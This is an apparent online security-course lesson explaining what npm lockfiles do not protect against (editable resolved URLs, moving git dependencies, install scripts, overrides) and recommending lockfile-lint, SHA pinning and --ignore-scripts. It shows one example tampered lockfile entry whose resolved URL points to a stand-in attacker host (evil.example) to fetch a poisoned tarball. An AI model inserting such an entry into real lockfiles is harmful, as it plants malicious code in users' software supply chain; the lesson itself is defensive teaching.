Skip to content

Lesson 7 of 14 · 12m

What the Lockfile Doesn't Cover

Integrity hashes protect the tarball you got, git deps still move, resolved hosts are editable — lint and review the diff.

The hash locks what you got, not what you should have gotten

integrity: sha512-... in package-lock.json guarantees the tarball you install now is byte-identical to the tarball npm resolved when the lockfile was written. That is all it guarantees. If the registry served you a poisoned tarball at lock-generation time — dependency confusion on a fresh project, a compromised proxy, a squat you typed yourself — the lockfile faithfully protects the attacker's artifact forever. The hash is a chain, and chains hold whatever they were wrapped around.

Worth being precise about where that hash comes from: nothing writes it by hand. npm install resolves the manifest against the registry, downloads each tarball, hashes what it got, and records both the resolved URL and the computed integrity in the lockfile. npm ci then inverts the flow — it reads the lockfile, fetches exactly the recorded URLs, and verifies the downloaded bytes against the recorded hashes before unpacking a single file. The guarantee is a closed loop between what resolution produced and what install consumes. Everything outside that loop — whether the registry's answer was honest in the first place — goes unchecked. Yarn's yarn install --immutable and pnpm install --frozen-lockfile are the same contract with different flags: strict consume, no re-resolution, and the same blind spot.

The lockfile is editable

resolved is just a string in a file you commit. A pull request that changes

"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
"integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="

to resolved: "https://evil.example/lodash-4.17.21.tgz" with a sha512 the attacker computed over their tarball passes npm ci cleanly. npm verifies the downloaded bytes match the recorded hash — the recorded hash is the attacker's. Nothing fails. Nothing even warns, unless someone reads the diff. lockfile-lint exists precisely for this: lockfile-lint --path package-lock.json --allowed-hosts registry.npmjs.org --validate-https fails the build when resolved points anywhere unexpected.

And hand-editing is not even required. npm install --package-lock-only regenerates the lockfile without touching node_modules, so a compromised local toolchain or a poisoned transitive resolution can rewrite the file while looking like a routine refresh — exactly the diff a tired reviewer skims.

Three other gaps the lockfile doesn't close

Git dependencies move. "dep": "github:user/repo" resolves to the branch HEAD at install time; "dep": "github:user/repo#v1.2" resolves to whatever the mutable tag points at today. The integrity field can't cover a git fetch — there is no registry tarball to hash. If you must depend on a repo, pin the full commit SHA: github:user/repo#a1b2c3....

Scripts still run. npm ci installs from the lockfile and then executes every postinstall the locked tree contains — a lockfile pins versions, not behavior. --ignore-scripts is still the control.

Transitive trust. The lockfile freezes every transitive dep — which means it also freezes in the dep you've never heard of three levels down, the one that just changed owners. npm ls <pkg> and npm explain <pkg> tell you why it's in your tree.

Overrides bypass review. npm's overrides and Yarn's resolutions rewrite resolved versions tree-wide — a powerful tool for forcing a patched transitive dep, and an equally powerful way to silently swap what installs. A lockfile that was regenerated after npm install --force or a new overrides block deserves a second look: the recorded resolution may no longer resemble what a fresh resolve would produce.

The wrong mental model

"Committed lockfile = reproducible = safe." Reproducible is accurate; safe is not. The lockfile pins which artifacts, not whether they should be those artifacts. It's a snapshot of a resolution — and a resolution is only as honest as the registries consulted and the PR review that followed it. npm audit runs against this file: it reports advisories on the locked tree, which makes it a detection layer for known-bad versions — but it knows nothing about a tarball whose resolved was quietly rewritten, because nothing in the file is "bad," just wrong. And npm ci's strictness cuts the other way too: it fails the build when lockfile and package.json disagree, which catches sloppy drift — but consistent-and-wrong is precisely what it cannot see.

What to add

  • Review lockfile diffs. A version bump on a dep should show version, integrity, and resolved changes on registry.npmjs.org — nothing else. New hosts, git deps, and packages you didn't ask for are findings.
  • CI guard. lockfile-lint (or a proxy registry that simply can't serve foreign hosts) in the pipeline.
  • Pin git deps to SHAs or don't use them — mutable refs bypass integrity entirely.
  • npm ci --ignore-scripts, with onlyBuiltDependencies-style allowlisting for the native builds you actually need (pnpm's default posture; npm needs the flag plus explicit npm rebuild).
  • Audit as a layer, not a gate. npm audit, pip-audit, and osv-scanner catch versions with published advisories. They say nothing about the rest of the tree — run them, just don't confuse a clean report with a clean supply chain.

The lockfile is the right mechanism with a narrower guarantee than people assume. It makes installs deterministic. Deterministic is necessary and insufficient — you still have to look at what got determined.

Was this lesson helpful?

Sign in to rate

Keep reading

Related articles from the SudoSecurity blog.